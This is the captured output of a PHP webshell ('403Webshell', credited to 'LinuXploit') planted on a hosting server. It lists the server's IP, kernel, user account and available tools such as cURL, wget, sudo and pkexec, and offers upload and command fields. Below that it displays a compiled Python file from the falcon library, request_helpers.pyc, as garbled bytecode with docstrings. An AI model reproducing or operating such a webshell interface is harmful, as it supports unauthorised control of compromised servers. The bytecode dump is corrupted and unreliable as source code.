403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/falcon/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/falcon/request_helpers.pyc
a

[��fS�@s.dZddlZdd�ZGdd�dej�ZeZdS)z Utilities for the Request class.�Ncs�fdd�}t|�S)aCreate a read-only header property.

    Args:
        wsgi_name (str): Case-sensitive name of the header as it would
            appear in the WSGI environ ``dict`` (i.e., 'HTTP_*')

    Returns:
        A property instance than can be assigned to a class variable.

    cs*z|j�pdWSty$YdS0dS�N)�env�KeyError��self��	wsgi_name��z/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/falcon/request_helpers.py�fget szheader_property.<locals>.fget)�property)rrr	rr
�header_propertysr
c@sreZdZdZdd�Zdd�Zdd�ZeZdd	�Zd
d�Z	dd
�Z
dd�Zddd�Zddd�Z
ddd�Zdd�ZdS)�
BoundedStreama�Wrap *wsgi.input* streams to make them more robust.

    ``socket._fileobject`` and ``io.BufferedReader`` are sometimes used
    to implement *wsgi.input*. However, app developers are often burned
    by the fact that the `read()` method for these objects block
    indefinitely if either no size is passed, or a size greater than
    the request's content length is passed to the method.

    This class normalizes *wsgi.input* behavior between WSGI servers
    by implementing non-blocking behavior for the cases mentioned
    above.

    Args:
        stream: Instance of ``socket._fileobject`` from
            ``environ['wsgi.input']``
        stream_len: Expected content length of the stream.

    cCs||_||_|j|_dSr)�stream�
stream_len�_bytes_remaining)rrrr	r	r
�__init__=szBoundedStream.__init__cCs|Srr	rr	r	r
�__iter__CszBoundedStream.__iter__cCs
t|j�Sr)�nextrrr	r	r
�__next__FszBoundedStream.__next__cCs6|dus|dks||jkr |j}|j|8_||�S)ayHelper function for proxing reads to the underlying stream.

        Args:
            size (int): Maximum number of bytes to read. Will be
                coerced, if None or -1, to the number of remaining bytes
                in the stream. Will likewise be coerced if greater than
                the number of remaining bytes, to avoid making a
                blocking call to the wrapped stream.
            target (callable): Once `size` has been fixed up, this function
                will be called to actually do the work.

        Returns:
            bytes: Data read from the stream, as returned by `target`.

        N���)r)r�size�targetr	r	r
�_readKszBoundedStream._readcCsdS)zAlways returns ``True``.Tr	rr	r	r
�readableeszBoundedStream.readablecCsdS�zAlways returns ``False``.Fr	rr	r	r
�seekableiszBoundedStream.seekablecCsdSrr	rr	r	r
�	writeablemszBoundedStream.writeableNcCs|�||jj�S)z�Read from the stream.

        Args:
            size (int): Maximum number of bytes/characters to read.
                Defaults to reading until EOF.

        Returns:
            bytes: Data read from the stream.

        )rr�read)rrr	r	r
rqszBoundedStream.readcCs|�||jj�S)z�Read a line from the stream.

        Args:
            limit (int): Maximum number of bytes/characters to read.
                Defaults to reading until EOF.

        Returns:
            bytes: Data read from the stream.

        )rr�readline)r�limitr	r	r
rszBoundedStream.readlinecCs|�||jj�S)z�Read lines from the stream.

        Args:
            hint (int): Maximum number of bytes/characters to read.
                Defaults to reading until EOF.

        Returns:
            bytes: Data read from the stream.

        )rr�	readlines)r�hintr	r	r
r!�szBoundedStream.readlinescCstd��dS)z0Always raises IOError; writing is not supported.zStream is not writeableN)�IOError)r�datar	r	r
�write�szBoundedStream.write)N)N)N)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrrr!r%r	r	r	r
r)s


r)r)�ior
�IOBaser�Bodyr	r	r	r
�<module>sy

Youez - 2016 - github.com/yon3zu
LinuXploit